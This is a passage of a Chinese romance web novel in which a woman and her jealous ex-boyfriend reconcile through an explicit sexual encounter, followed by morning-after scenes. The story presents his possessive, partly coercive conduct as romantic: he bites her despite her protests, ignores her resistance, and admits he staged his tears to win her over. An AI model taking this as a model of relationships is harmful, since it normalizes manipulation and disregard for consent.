不怪他多心,大晚上的,一男一女站在街边不说话。远远看过去,女方还故意跟男方拉开距离。 当保安的日子多了,他见过不少当街吵架的情侣夫妻,男方边生气边和女方推搡动手。 世道变了,不像以前,哪个女孩儿不是家里娇生惯养出来的。退一步说,就算往前倒五十年,对老婆动手的也是怂货。 想到这,看门大爷低头看了眼手里看一半的报纸,再一抬头,发现街边的两人早没影了。 林念禾坐到车里时,心还悬着。 老天可鉴,她可没跟江予州拉拉扯扯。 是他单方面在家里亲了她的侧腕,是他单方面隔着袖子攥住了她探体温的手。 全是江予州一厢情愿,她压根没主动。 不想还好,一想,脑子全是他在家里,躺在沙发上,眼神幽暗地垂眸亲她的画面。 江予州姿态虔诚到林念禾如果下一秒让他跪在地上,他会毫不犹豫地跪下去,再缓慢掀起她的衣角,亲吻脚踝。 思绪一旦开始发散,就难收回来。 正当她脑补到江予州跪下去的画面时,腰间倏地贴上来一股热源。 林念禾一下被拽回现实,压住他的手,声音提高,"你干什么?" 霍锌看了她一眼,接着视线歪了一点,落到对方的耳垂,"你耳朵红了。" 话音刚灭,中间的挡板升起。 "……" 林念禾顿了下,恶人先告状似地指着那块升起的隔板,"我热不行吗,你最好老实点,别乱来。" "哦。" 答应的很干脆,下一瞬,凉风袭进来,衣物被撩开,腰间的一小块皮肤接触到空气,林念禾懵了一下。 他是畜生吧。 前脚答应不乱来,后脚就在车上要脱她衣服。 她急忙往车窗靠,攥住他的手腕向外抽,骂,"你有病吧。" 被骂的人脸色不变,依旧那副波澜不惊的模样,掌心往下,迅速地摸了摸她空荡荡的裤子口袋。 霍锌收回手,抬眼乍见她快和车门融为一体,想都没想就给人扯到自己腿边,"怕你在外面,捡点什么垃圾揣身上带回家。" 上次,口袋里装了一个校徽回去。 这次,指不定江予州偷偷又装什么恶心人的东西。 检查完没有异常物品,霍锌说话的语气终于好了一点。 "对,我喜欢捡垃圾。所以把十八岁的你捡回家了。" 林念禾阴阳怪气,"真是眼瞎。" 她但凡心硬一点,多问一点,也不至于后来惹得一身腥。像个脚踏多条船的海王,医院里照顾一个,家里藏一个,外面还要躲着一个复活回来的前男友。 "我也希望你当时能不心软。"他声音低沉,不带任何情绪。 接着林念禾听见他说,"死在外面,更好。" 没加主语 ,但指的是谁,他们都心知肚明。 她微微睁大眼睛,不可思议地去看他的侧脸。 霍锌察觉到她的眼神,平静如水地注视回去。他没有解释这番突如其来地暴露在阳光下的恶意,仿佛平静地只是在问她晚饭吃了什么。 恨意的最高层次,大概就是期望一个人去死了。 她自己很多时候,都会烦陆建林是千年的王八,万年的祸害,活的太久,以至于林母走在了他的前面,没有机会去给他上坟。 但霍锌为什么突然这么恨小霍 没有理由。 林念禾是在电梯上行到自家楼层停下,才忽而抓住了些闪过的线索。 身后的男人很自然地跟着她出电梯。 林念禾没开门,就站在门口赶人,"你不回家" "上次衬衫的袖扣落在你这了,顺便拿了再回去。" 她想了想,谨慎道,"你记错了吧,沙发座套昨天被阿姨拆下来换洗,如果掉在沙发应该会打电话给我。" 他轻飘飘地望了她一眼,"不在沙发。" 不在沙发还能在哪儿? 她家里干干净净,一粒灰都不带有的。但凡多出一件陌生的物品,自己肯定会知道。 林念禾所剩无几的耐心用完了,用怀疑的目光盯着他,"不在沙发还能在哪儿,你不会是骗我的吧?" 霍锌扯唇笑了一下,笑得漫不经心,视线在林念禾那张好看的脸上转悠一圈后,笑意退散一干二净。 "你床上。" "……" 头顶的走廊灯啪地灭掉了。 黑暗中,她不言语,摸索着去开门。 两个阿姨今天有事,下午跟她请假后,明天才能回来。 家里现在没人,只有一条睡着的狗。 她养的,随她,外面打雷都不睁一下眼睛。 客厅灯亮起来,霍锌进来时,特意往阳台边的狗窝里扫了一眼。 嗯,睡得很死。 林念禾进卧室帮他去找那枚祖母绿袖扣。 等把整个床翻了底朝天,都没发现东西后,她跪在床上,开始思考门外的那个狗玩意儿是不是在耍自己。 前几天,霍锌确实为了抓他养的猫,进过主卧。 但也不能仅仅凭这一点,就肯定掉在自己的房间里。 继续找了一会儿,不仅没找到,还把她累得够呛。 林念禾不乐意继续花力气找,突然开门,对着站在几步之外的人说,"没找到,应该是你记错了。" "我没记错。" 见他云淡风轻的样子,她索性让到一边,"来来来,你自己动手找。" 霍锌迈步进来。 她的房间一向不让阿姨多进,除了必要的换床品和打扫卫生,其余一概不行。 估计是被林念禾特意收拾过,整个房间乍眼看过去,并不能看见什么不该看见的东西。 房门大敞,林念禾抱着胳膊,立在墙边,站着说话不腰疼地开口。 "我翻了枕头,还摸过被套,都没发现你的袖扣。肯定是记混了。而且我都睡好几天了,床上多出来一块石头,我怎么可能会不知道" 豌豆公主,能隔着十几床棉被感受到床板中间的一颗豆子。她当然也能隔着一层床垫,凭借腰肌劳损的一把老骨头身体感受到一颗坚硬的宝石。 说话间,霍锌垂眸,在床头缝里摸出来一样绿色的东西。 是他落下的袖扣。 藏在床缝的最深处。 林念禾看见他手里的物品,顿时身体站直。 他那眼神什么意思 怀疑她偷藏他私人物品 她要是藏了,以后就没性/生活好吗。 "喜欢的话,我那还有其他颜色。"霍锌淡声道。 言外之意是在告诉她不用费心去藏,他很大方且乐意送她一个。 两人对视片刻,林念禾面无表情拒绝,"您真好心,但是我不要,谢谢。时间不早了,你该走了。" 说着,转身想离开卧室。 手腕忽地被人攥住,背陡然贴上墙面。霍锌这会儿才撕下伪装,气息危险。 林念禾进家门时,在脑子里一闪而过的念头此时终于串成线索。 他一直在装,从进门开始就在装。 一点点骗着她,把他放进卧室,这跟羊入虎口有什么区别 "喜欢我卧室,不肯走"林念禾调整心态,撩眼问,"要不我把房间让给你,我去睡客卧" "你和每个男人都这么说吗?" ""她被问懵了,"我和谁说了?" 霍锌一点点地收紧握住她腰的手,缓慢沉声道,"很多人。" "上次他进你卧室,你们在里面接吻吗?" "是你主动亲的他,还是他逼迫的你" "我不会生气,但是不是需要拥有一定的知情权" 林念禾心跳停了一瞬。 他怎么会知道那天主卧的浴室里,她和小霍在接吻。 事情距离今天已经过去了好几天,霍锌的话不亚于在解除警报后突然被人塞进来一颗即将爆炸的炸弹。 大脑飞快转动,她眨眨眼,"你说谁" "你知道我说的是谁。"他看似冷静,实际手上力气隐隐失控。 是霍锌不愿意去多想,有些时候,看得太清,知道的太多,只会让他一个人困在淤泥里面挣扎痛苦。 在学校办公室里,两个人的亲密程度早超以前。 他很清楚,那是建立在近距离接触的基础上所能到达的某种亲密。 互相挨近的肢体碰撞,眼神里流露出的亲近。 如同火焰灼烧他的五脏肺腑,无形的手死死扼住他的咽喉。所以才会在车上,因为嫉妒说出让十八岁自己去死的话。 林念禾吃痛地皱眉,否认,"我没和他亲。" "就算我们俩真的亲了,做了,也没什么大不了的。" "你们是同一个人,有一样的过去,都喜欢我。那我亲他,就等于在亲你。" 她眼眸认真,像是发自内心地感到奇怪,“所以你到底在闹什么?” 闹? 在林念禾的眼里,他平白无故地捻酸吃醋,好端端地故意刁难自己,非要把同一个人拆成两个人看。 他一门心思倒贴也就算了,替她忙前忙后,出钱又出人,还恨不得晚上自荐枕席。 结果到头来,得到一句你到底在闹什么。 霍锌深吸一口气,声线沙哑,“你更喜欢他?” “我有时候挺想不明白的。”他说着,脚尖往前,牢牢贴上她,“除了那张跟我一样的脸,你喜欢他什么。不仅把人带回家养着,还在知道他骗了你后,直接原谅他。” “你就这么喜欢他吗?” 两人中间的空隙忽地缩小,林念禾费力地想挣脱,却被控制在原地,炙热的身躯挡在身前,呼吸间全是他强势的气息。 "我……扇了他啊,那事已经过去了。" 霍锌想了下,"你有这个需求可以直接提出来,我能试着接受。" "……" 他说的很认真,似乎是在短暂的那几秒空隙时间里反复考虑数次,然后给出一个肯定的答复。 如果林念禾真的有某种需求,那估计这时应该会感到开心。 可惜她没有。 她身心健康,没有任何不良的爱好。 半晌,房间里静悄悄的。 林念禾觉得霍锌比起以前更加不要脸,道德底线对于现在的他来说,就好像皇帝的新衣。 假装穿着,实则裸露。 她没离婚的时候,上赶着想插足她的婚姻,离婚后,又费尽心思想爬上床。 林念禾偏过头,声音无力,“他一个人突然来到这个世界,没有亲人,没有朋友。才十八岁,高中没毕业,就算平时表现的多成熟心思深,还是会害怕的。” 刚收留小霍的那段时间,她晚上半夜起来上厕所经常能看见房间里亮着的灯。稀里糊涂地来到九年后,被迫面对父亲去世,母亲生病,恋人已婚。 表面装得无所谓,如鱼得水,实际上整夜整夜地失眠,说不定还会偷偷掉眼泪。 “你只心疼他吗?” 霍锌顿了下,“那我呢?” “你们是同一个人,我对他好,不就是对你好吗?”她不解,手肘不小心碰到墙壁上的开关,卧室里的灯光倏地熄灭。 压在身前的男人,俯首埋在她的颈间,胳膊圈住腰。 兜兜转转,话题绕到起点。 霍锌似乎是不想看见她的脸,维持动作半天沉默不语。 就在林念禾站得犯困的时候,颈间突然一阵异样感。 那小块脆弱的皮肉被人咬在齿间,她喊了一声痛,对方不仅没收回,还隐隐加大 力气。 疼痛一点点蔓延开,林念禾不知道他发什么疯,抬手一把抓住他的后脑发根,想把人扯开。 头皮上的痛感让霍锌找回几分理智,他动作停滞,紧接着松开牙齿,慢吞吞地开始舔舐那块被他欺凌过的地方。 第65章 第65章给谁准备的? 空气里的燥热一点点攀升上来。 颈窝处贴着的人,从舔舐转变成啄吻,缓慢地朝下挪动。 林念禾一边去摩挲墙壁上的开关,另一边揪在他发根处的手,忽而又用力。霍锌被扯得眉毛皱了下。 他慢吞吞,撤出距离,同她对视。 明亮的灯光下,霍锌用一种控诉的目光望着她。 林念禾倏地哑言。 她从来没有在他的脸上看见过这种神情,仿佛委屈到极点,又不敢泄露丁点负面情绪。眼尾挂着一抹红,整个人可怜兮兮。 像路边被人抛弃很久,但一直等着主人垂怜的流浪犬。 他过往的形象太过冷漠理智,忽而露出示弱的表情,导致自己那些刚在脑子里组织好的脏话一句都说不出来。 "你又不要我。" 林念禾干巴巴地反驳,"因为你咬我啊。" "不是。"他盯着她的眼睛,肯定道,"是你只心疼十八岁的我。" "我们从来就不是一个人,我嫉妒他能待在你身边,嫉妒你对他的偏爱,因为你的目光自始至终都不会落在我的身上。" 霍锌挤进她的掌心,五指相扣,慢慢紧缩。他嗅见她身上的香馨,有段时间小霍和她散发出同样的味道。 长时间的亲密接触,会让对方沾染上自己的气味。 而他只能像个旁观客,静静地看着他们的一切,假装自己毫不知情。 除了小霍,还有江予州,算上那个已经出局的姜砚,她身边一直都不缺男人。他很久之前想过,这么多人里,自己靠着以前的感情,绝对是最了解林念禾的那一个,也是在她心里分量最重的那一个。 毕竟她能毫不犹豫地和江予州离婚,绝情地拒绝姜砚的再次追求。这些非但不会让他认为林念禾冷漠自私,反而坚定了他心中的猜想。 她心里有他,并且只对他心软。 事情是什么时候,开始脱离他的掌控? 是在某天,他发现林念禾和小霍两个人并肩走在一起,后者衣角被人捏出来了细微的褶皱…… 霍锌睫毛微垂,遮住眼眸中的晦暗。先她一步,开口,"能不能多爱我一点点。" 林念禾费力地从他一大段奇言怪语中,提取出大致含义。 哦,霍总缺爱了。 搁她这找爱呢。 原本悬悬欲坠的心瞬间硬起来,刚想放一句狠话,质问他俩是什么关系,就见对方猝不及防开始掉眼泪。 帅哥哪怕是哭,也跟普通人哭不一样。 他喉结滚动,一只手紧攥着她的手不放,纹丝不动地无声流泪。 周身的破碎感都快给人溺死了。 林念禾在心里狠狠唾骂了自己一句,最后还是于心不忍地抬手替他擦眼泪。 越擦越多,跟坏了的水龙头似的,打开了就没法儿关上。 她把人带到床尾坐下,转身去拿床头柜上的纸。 纸巾盒被随手扔到被面,她抽了一张,边往他的脸上摁,边站在人身前安慰,"别哭了,行不行" 对方没说话,双手撑着床面,往后倒,躲开她伸过来的手,一脸的不愿交流。 他躲,她偏要去够。为了能碰到,林念禾一条膝盖跪到他腿边,倾身凑上去。 纸巾一角刚要贴上去,霍锌脸倏地偏向另一边,柔软的纸巾就这么蹭了过去然后又悬在空中。 你躲我追地闹了两三次,林念禾一点耐心都没了,全被耗光。 踩在地面的另一条腿忽地抬起,双膝分开,跨跪在他的身上。 霍锌冷淡地低头瞧了眼她的动作,不动不响地继续偏脸看向窗外。 好像那窗户外面挂着的不是月亮,而是什么神秘大奖。 林念禾的好胜心陡然一下被激起来。 装什么呢,在这给她装贞洁烈男。再说了,她就想给他擦个眼泪,凭什么不给她擦。 林念禾反手托住他的下巴,把他脸掰过来。两双清凌凌的眼睛忽而碰上,一个眼尾泛红,眸色水润,另一个眼睛里全是必胜的决心。 她腰身挺直,前倾,强势地不许他动,然后飞快擦掉霍锌脸上未干的泪迹。 等擦完,想要从他身上下去,林念禾才反应过来两个人的姿势有多暧昧。 先前他躲得太狠,手肘压着床面,身体和水平线成锐角。林念禾只能借着他的姿势,拼命往前凑,因为两只手都没法借力,她几乎是贴在他身体上完成了动作。 这会儿反应过来,她心里一惊。 总觉得气氛在不知不觉中变了,如同一汪平静水面被人搅起来几个漩涡。 林念禾面无表情地打量了一下霍锌的状态,别说还挺诱人。 刚到家,他就把外套脱了。现在半躺在她的床上,俯视看过去,衣领凌乱,白皙的锁骨隐在衣物里,纽扣不知道为什么也散开了好几个。 视线下移,霍锌的脖侧皮肤还有两个红印 估计是她刚才为了好控制住他,不小心掐的。 她目光停顿在那处痕迹几秒,脑子里顿时想到前段时间他的好发小傅阎往她公司寄的两箱快递。 那两箱快递,她一打开,差点连东西带盒从二十八楼扔下去。 全都是些皮鞭,项链之类的用品。 因为那次在山庄,傅阎开玩笑说要送手铐给她,结果转头真寄过来两箱更全面的。 原本林念禾觉得这是在对自己人格的侮辱,现在居高临下地低眼看着那块地方,她觉得好像还真挺合适的…… 估计带上会很好看的样子。 心里再多滔天骇浪,再多浮想联翩,林念禾稳如泰山般地打算从他身上下去。 腿刚一动,腰部忽地被人扣住。 霍锌膝盖往上稍抬,她没有防备地重新摔回去。 同时,她的上衣下摆被撩起,霍锌的手钻进来,虎口卡住她的腰,把人往前一带,正正好好坐在他的腹部。 天气气温渐高,衣服穿的并不多。 她下半身就一条薄薄的外裤,等于严丝合缝地同他相贴。 体温渐渐交汇,气息渐渐交融。 林念禾埋在他的颈窝,呼吸间全是他的气味。脸一点点涨红,去掰他的手,结果不仅没掰动,还被人带着往自己的衣服里钻。 她气急了,张嘴咬下去。 头顶上的男人闷哼一声,胸腔震动,手抽出来,林念禾刚松口气,却惊愕发现他居然在不受干扰地往下。 衣物还好好的穿在身上,包括裤子。 但轻薄的衣物在霍锌的手里,称不上阻碍。 水渍晕湿布料,林念禾呼吸越发急促,自己的手还被他一同带着摩挲探索。 情绪汇聚在一块,某个瞬间,她没忍住,呜咽几声。 霍锌安抚似地亲了亲她的额角,转而往下亲她的脸,一边请求道,"亲我一下,好不好" 她不吭声,装死一样保持原态,只有耳尖的薄红透露出主人此时此刻快要炸裂的状态。 "你刚才咬得我好疼,能不能亲我一下"霍锌放低声音,"真的很疼,肯定破皮了。" "你不亲我,那我能不能亲你" "没关系,你如果还想咬我,可以继续,我能忍疼。" 他忍个大爷的! 以前就数他事多,胳膊破块皮都要找瓶红药水抹两下消炎才放心,金贵的要死。 茶里茶气的发言,让林念禾彻底听不下去了,拧着他胳膊肉,骂道,"闭嘴。" "那你要亲我吗?" "……" 今天不亲这一口,估计是过不去了。 她抬起头,板着脸,迅速地在他的唇角啄了一下,"好了。" 话音落下,视野颠倒,等她再回神过来,人已经躺在他的身下。 看见林念禾这幅错愕茫然的模样,霍锌笑了下,摸摸她的脸,语气依然哄着,低声下气。因为哭过,那阵脆弱感还没消散,说出来的话显得很可怜。 "你亲小霍也只亲一下吗,是不想碰我" "我就这么让你讨厌吗?" 林念禾被他的话堵得不知道怎么回话,张了张嘴,想要解释不是这样,她是因为还在气他用那种方式,带着她的手隔着布料,来回揉摁。 唇瓣微启,霍锌忽地俯身压下来。 先是很礼貌试探地碾磨她的唇侧,轻蹭着,等那点不算多的耐心耗光后,霍锌开始抵着她的舌尖勾缠。 敏感的口腔软肉被人一点点舔舐,他跟要吃了她似的,攻池掠地。 呼吸间的温度升高,林念禾被亲得头晕脑胀,抬脚想踹他。 脚腕被人握住,虎口攥住那细细的脚踝,他边亲,边缓缓地摩挲着凸出来的硬骨。 "想踹我"霍锌咬着她的唇,含糊道,"我会疼的。" "……" 他今天是被什么娇气包系统附体了吗? 一直撒娇卖乖,装可怜,骗她心软。 林念禾琢磨着这件事,等思绪回归,就发现自己被翻了个面,跪在床上。 衣物散落地面,她的胳膊上挂着吊带。 她有点难耐地等着霍锌的动作,手里抓着床被,又松开。 等了半天,不见他的动静。 林念禾转头去寻他,下一秒,就被人搂进怀里,亲吻密密麻麻地落在唇边,侧脸。 霍锌无奈地安抚她,"我没买那个。" "……" 他今天压根就没这个打算。正常人也不能天天随身带着避孕/套,那不是变态吗? 不带套做,那他就是比畜生还畜生。 林念禾沉默了两秒,从他怀里出来,打开床头柜的抽屉,胡乱翻找几下,扔给他一盒东西。 没想到吧,她这儿有。 房间里安静到落针可闻,霍锌敛眸,把那个小盒子拿起来,看了看,确认是某个型号的物品后,愈发沉默了。 还挺巧,正好是他的型号。 如果放在以前,他会觉得这是她特意为自己准备的。但因为林念禾和小霍的关系,霍锌如今无法判断这盒计生用品是给谁准备的,还是只是单纯放在抽屉里,撞上他们其中的哪个,就正好拿出来用。 林念禾挪到他面前,一言不发地开始拆盒子,从里面拿出一片。 她是正常成年女性,有生理需求。送上门的男人,不睡白不睡。 更何况,今晚的霍锌比平时更要诱人。 撕开塑料包装的手倏地被人拦住,林念禾抬眼撞上他幽暗沉沉的目光,疑惑了下,用眼神示意他:干嘛 正常人这会儿,一般会回过来:干 但霍锌的情绪有点奇怪,难以琢磨地变差了。 林念禾想了下,觉得可能是自己先动手拆包装,让他尊严扫地,于是从盒子里抽出一片新的塞进霍锌手里。 胸前的黑发乖顺地垂下,挡住某块地方。 林念禾将它拢到耳后,暴露出整个自己,随后主动抱住他。 心脏宛如被人掐住,细细密密的酸涩挤满他的胸腔,炙热的血液洗刷身体各处。霍锌割裂般地一半坠入岩浆,一半掉进冰窖。 他的手微微攥紧,稀碎的塑料声响起。 吻复而落下。 事实证明,时间没给霍锌带来任何改变。 技术方面也跟以前一样出色,林念禾度过了一次异常美好的夜生活。 结束后,她被霍锌捞起来抱进浴室。浴缸里放好了热水和浴球,林念禾趴在缸边,下巴搭在手背上,眼皮沉沉地差点要睡过去。 在她快要睡着的下一秒,霍锌又进来替人清理好,擦干净水,抱回床上。 床单已经换好了,一贴上整洁干燥的被单,林念禾的困意就少了很多。 霍锌趁着刚才在浴室的时间,也简单冲了一下。这会儿见她不困,睁着眼睛朝自己勾手,于是凑过去,"怎么了?" "我想喝水。" 她嗓子干得都要冒烟了。 反观霍锌脸色滋润,唇色艳红。 林念禾的视线落到他的唇上,想起来他不渴的原因,不好意思地埋进被窝。 厨房里, 霍锌围着浴巾,上半身光裸白皙,肌肉分明,腰腹劲瘦,头发上的水滴顺着脊背流入毛巾边缘。 他的四根食指轻轻敲着瓷台边沿,脸上思索些什么。 要是知道江予州的手段这么好用,他早八百年前就该和林念禾领上结婚证了,还用等得着今天…… 他抽出一个玻璃杯,往里倒水。 但是一次两次可以,用多了,总归有天林念禾会回神察觉出来。 所以得见好就收。 第66章 第66章想进步,得先有进步空间…… 早上, 林念禾是被热醒的。她烦躁地睁开眼睛,低头看了眼横在小腹处的胳膊,肩膀还压着一个沉甸甸的脑袋。 短发随着身后人深深浅浅的呼吸,时不时扎她脖子一下。 昨天晚上喝完水后,林念禾就蒙上被子准备睡觉,结果被人硬生生从被窝里捞出来,开始第二轮。 她在床头柜里准备的避孕套不多,就两盒,昨天晚上已经被糟蹋得七七八八。 霍锌心里不知道憋着什么坏,一边做,一边若有似无地朝那抽屉里望。甚至最后关灯睡觉的前一秒,还拉开抽屉,亲自确认里面没有了,才踏实地哄她睡觉。 晚上睡觉,她一向穿的轻薄。但此时此刻,脊背贴着的某个热源,让她热得想骂人。 林念禾伸手把人拨开,坐起来,先是短暂地感受了下自己身体的酸疼,然后缓了半天,拿起床边的手机查看未读消息。 除了垃圾短信,剩下的就是几个朋友给她发的闲聊。贺渺一如既往地在痛骂领导畜生行为,热切希望林总能收购她们公司,并且让她感受一把狗仗人势的张狂。 她粗略地给他们回了几条信息,返回联系人页面,点开苏荥的聊天框。 对面从一开始的扣问号,到礼貌问她是不是睡过了,然后就开始发癫,问林念禾是不是出事了,要不要她去救她,还是外星人打过来了,所以今天不上班。 已经早上十一点了,去公司也没什么正事,今天的工作都能推到明天。 林念禾试探性地发过去一个小狗跪地表情包,对方秒回OK。 连她的解释都不需要。 苏荥:【林总您休息,公司这边都安排好了。】 大概是经历一上午的漫长等待,苏秘书揣摩完上司心理,果断提前帮她安排好了今天的事。 能延迟的会,都延迟到了明后两天。 需要过目的方案也都发到了林念禾的邮箱。 处理好公司的事,林念禾想掀被子下床,恍然低头发现霍锌正埋在她的小腹处睡觉。 怪不得她刚隐隐有些喘不上气。 一晚上过去,他的头发虽然凌乱,但散乱有序,很像洗头后特意拿吹风机,吹出来一股慵懒感。 霍锌眼睫安静地垂闭,从她的视角看下去,侧脸好看 到能要人命。高挺的鼻梁,红润的唇瓣,皮肤细腻。 他比十八岁那会儿长开了很多,褪去少年的青涩,五官锋锐,醒着的时候,冷冰冰的,睡着后,意外的温顺。 林念禾想了想,发现昨天晚上衣服脱光了,她挂在他身上,感受腿下紧挨的劲腰,比三年前居然还要带劲。 男人过了二十五就等于四十的定律,不仅对霍锌没半点效果,还见鬼地朝着反方向发展。 年纪越大,身材练的越好。 她在心里默默叹了口气,将那些片段通通甩在脑后。小心翼翼地把人弄到一边,踩着拖鞋往浴室去。 林念禾一手撑着洗手台的边,一手抓着自己垂在脑后乱得打结的头发。 有些奇怪的东西从脑子里滑过,她愣愣站了几分钟,想不出来到底是什么地方不对劲。 想不出来,她也就不想了。 门忽然被推开,上一秒还躺在床上睡觉的男人,穿着黑色睡衣走进来。 霍锌的领口有点歪,露出半截锁骨,纽扣也解开了两粒。 林念禾直着腰,透过镜子同他对视,两秒后,她移开目光,垂眼盯着水池,认真刷牙。 身后的男人,迈步上前,离她隔着半拳不到的距离。 太近了。 纠缠一晚上后,两个人的气味混杂,同款沐浴露的味道环绕在她的鼻尖,比起自己闻惯了的简单果香,霍锌的身上夹杂着淡淡的雪松木。 光是嗅到,就让她腿软。 漱口,洗脸,擦拭,抹面霜精华。 霍锌就这么静静地看着她做完洗漱流程,一手支在台沿,好似两人亲密无间地相贴。 "怎么不再睡会儿?"他问。 霍锌明明望向的是镜子,可也像落在她身上似的,一寸寸地带有侵占性地扫过。 林念禾旋紧面霜盖子,"不困。" 克制了半天的人,终于找到借口抱住她。埋在她的肩侧,声音懒洋洋的,“我困,能不能再陪我睡会儿。” “……” 嘴里喊着困的人,眼神清明,林念禾斯条慢理地擦着手,歪头盯着镜子里这人。 睡醒刚起是这样的? 她把用过的纸扔进腿边的垃圾桶,“不能。” “你再搂着我不放,外面我的狗儿子就要饿死了。” 话音一落,搂着她的霍锌抬起头,沉默两秒,“饿不死。” 他大清早起床做早餐的时候,不仅顺手牵出去遛了一圈,还给它开了俩平时林念禾不给吃的肉罐头。 给他狗儿子高兴得直朝自己摇尾巴,不停抬起前腿想往他身上扑。仿佛看见了自己失散多年的亲爹,碍于不会说人话,于是激动到拼命用动作表达爱意。 霍锌一边揉着狗头,一边内心感动。 中间经历那么多的爹,最后,它还是只爱自己。 这说明,他和林念禾天生一对。那些男人对于她来说是生命的过客,而自己是要和她一起牵着手慢慢变老的人。 洗漱完毕,林念禾从浴室出来。 霍锌径直进厨房去准备早餐,而她蹲在自家狗面前陷入沉思。 一般起床后的初见,乐乐都会特别激动,拿头拱她。但平时活泼嚣张的尾巴,今天奇怪地耷拉垂地。 林念禾摸摸它,没多想,觉得可能是饿得没力气,挽起袖子给它弄饭。 早餐原本就做好了,只需要再温一下。所以林念禾这边倒好狗粮,那边霍锌端着瓷盘离开厨房。 餐厅, 两个人对着坐,林念禾吃到一半,忽而扫见他右手腕间带着的表,差点呛到。 椅脚被拖着发出一阵声音,接着眼前压在一道身影。 霍锌递给她温水,掌心沿着她的脊梁轻顺。力道适中,但薄薄一层衣物之上,高于自己的体温不断传来。昨晚的生理反应卷土重来,电流似的酥麻顺着尾椎朝上蔓延开,心跳一点点加快。 林念禾好不容易缓过来,第一件事就是攥住他一直落在自己后背的右手。 "怎么了?" 她恶狠狠地,"把手表给我。" 因为方才的咳嗽,乌眸沾着水光,亮晶晶的,分明是不太好的命令语气,可霍锌硬是从里面听出了几分与众不同的亲密。 他对上她的视线,沉默好半天。 长久的寂静中,林念禾紧攥的五指慢慢松开。就在她想找个借口让自己有台阶可下的时候,霍锌倏地解下手表,戴在她的手腕处。 七位数的表,在他手里像路边花两块钱买的儿童电子表一样不值钱,说送就送。 黑金表盘松松垮垮地坠在林念禾的腕间,深色的衬托下,愈发显得她皮肤白皙。 "不怎么好看。" 林念禾白他一眼,把表摘下放进睡衣口袋。她当然不喜欢男士手表,只不过昨天晚上做前戏,这狗东西没摘表。 冰冷的金属表盘贴到皮肤的那刻,她止不住地合并双腿,下一秒,男人将她的膝盖分开。 最后林念禾还保持着一丝理智,缩在他的怀里,要哭不哭的,撇见沾着水渍的表沿,视线往上,他食指和中指并拢,覆盖着一层滑腻腻的液体。 思绪回笼,林念禾摁了摁装着表的口袋。绝对不能让他戴着这东西出门,除非自己以后都不要脸了。 霍锌单手抽开旁边的椅凳,捏着她软软的左手,看她吃饭。脑子里却在计划改天要送块好看的女表给她,最好是情侣款,他戴一块儿,林念禾戴一块儿。 "今天不去公司"他问。 "不去。" 霍锌哦了一声,过了一会儿开口,"下午我需要去趟公司,有事记得给我打电话。" 林念禾笑了下,放下筷子,侧身正对着他,胳膊搭在椅子背上。 "霍总,我觉得你有点误会了。" 冷冰冰的称呼一出来,霍锌立马警觉,面上不显,"什么意思" "你还在考察期。"她伸手替他拢好衣领,"没转正,不是我男朋友。" "昨天晚上表现不错,再接再厉。"说完,林念禾顿了下,食指弯曲,轻浮地勾了勾他的下巴,站起来想往房间去。 手腕倏地被人拽住,一个用力,林念禾被迫坐到他的大腿上。 霍锌把人锢在怀里,垂眼,情绪不明道,"不要我" "准确说,是你还没转正。" "没转正的男朋友不是男朋友吗?" "……"林念禾想了下,"那不炮/友吗?" "所以你让我当炮/友。" "我没那个意思。"她摇头。 霍锌扯了下唇,"还是追求者" "比追求者进步了一点点,但还没到男朋友的地步。" 听见这个说法,他真要被气笑了。 恋人未满,朋友之上。林念禾这里是,追求者之上,男朋友之下。 意味着他以后不仅身肩合作伙伴,邻居,前男友,还得帮她暖床。 哦,还不能阻止她跟其他男人暧昧。 便宜都让林念禾占了,自己纯倒贴,就差把公司全送她。 当然,如果林念禾想要他的公司,霍锌会毫不犹豫地奉上全部身家。 想到昨晚抽屉里的避孕套,他眼神逐渐沉下去,漆黑的眸瞳静静凝视着她。 林念禾被盯得心里发毛,捧着他的脸,亲了他一口,郑重道,"想进步,就得先有进步空间。" "您这进步空间跟大海似的,我往哪儿进步" "往我心里呀。" "……" 他视线黏在她的脸上,喉结滚动上下,搂住她腰的力道渐渐变松,虚虚地环绕着。 某种情愫在胸腔内汇聚,像场大雨冲刷树根,直到暴露出泥土下的根系,才发现密密长长的白色裸根早已死死扎进他的内心。 名为爱意的物质挤满霍锌的心脏,仿佛下一秒就要破土而出,告诉她自己有多爱她。 简简单单的五个字,如同告白,扰得他方寸大乱。 霍锌先前的阴郁一扫而空,明媚得像六月里的天空。 他手紧了紧,努力假装让自己看起来没那么激动,不咸不淡地嗯了一声,"好,我努力。" 林念禾不知道他的内心波动起伏,无情地掰开他的胳膊,"我睡觉去了,你去公司吧,拜拜。" "睡醒了记得给我打电话,晚上接你去吃饭。" 她胡乱点头,朝着房间走去。 霍锌收拾完餐具和厨房,临走前还顺手把垃圾拿下去扔掉。 重新归于安静,林念禾躺在床上,浏览几份文件后,又睡了一觉。 爽过头的代价就是缺觉。 等午睡醒来,那份隐隐的肾虚感才好 转几分。 林念禾拖着腿去厨房倒水喝,想着要不要哪天约个中医,开点药补一补。不然为什么霍锌没事精力充沛,而自己像被采阴补阳一样,走两步路,腿根就酸。 拿着水杯出来,她抬手喝水,透过玻璃缝隙,余光瞥见一抹人影从玄关那儿走过来。 "你又逃课了?" 第67章 第67章你锁骨怎么有块地方很红…… 被问到的人顿住步伐,单手拎着书包,表情不太好地偏脸,“我没有逃课,明天学校有事业编考试,今天提前放假。” 林念禾抿了口水,“你来有事?” 他没事就不能找她吗? 心里涌上来一股不爽,小霍坐到沙发上,把书包扔到脚边,从里面拿出两张试卷。 她揉揉太阳穴,知道他是来问题的。于是把水杯放到茶几上,屈膝坐到毛毯上面,背靠沙发。 后背被人碰了碰,林念禾伸手去够他的试卷,同时屁股下塞进来一个抱枕。 小霍拿出的是前天联考的理综试卷和数学试卷,高三到五月份之后,每次的联考基本一比一复刻高考模式,试卷也越来越贴合高考难度。 林念禾简单翻阅那两张试卷,难度对她来说还算正常,依照小霍现在的水平,理综两百六是没什么问题的。 做不出来的物理大题被他画上圈圈,因为考试的答案都写在答题卡上,她也不能确定这死孩子到底考了多少。 心里盘算了下这几年的招生线,加上户口优势,他上清北的可能性还真挺大。 反正考不上清北,他穿回去还有一年的时间准备。如果还考不上,就等着和女朋友异地恋吧。 林念禾抛开杂念,开始认真读题干。 一遍题目读完后,她基本就有思路了。拿笔简单列出几道公式后,林念禾转头去寻人。 原本坐在沙发上靠着的人,不知道什么时候也滑下来,坐在她的旁边,和她一样的姿势,盘着腿坐在茶几前。 加了一个枕头的缘故,林念禾视线忽而上越,同他保持同一水平线。 少年正认真地注视着她,纯黑的瞳孔倒映着林念禾的面孔。 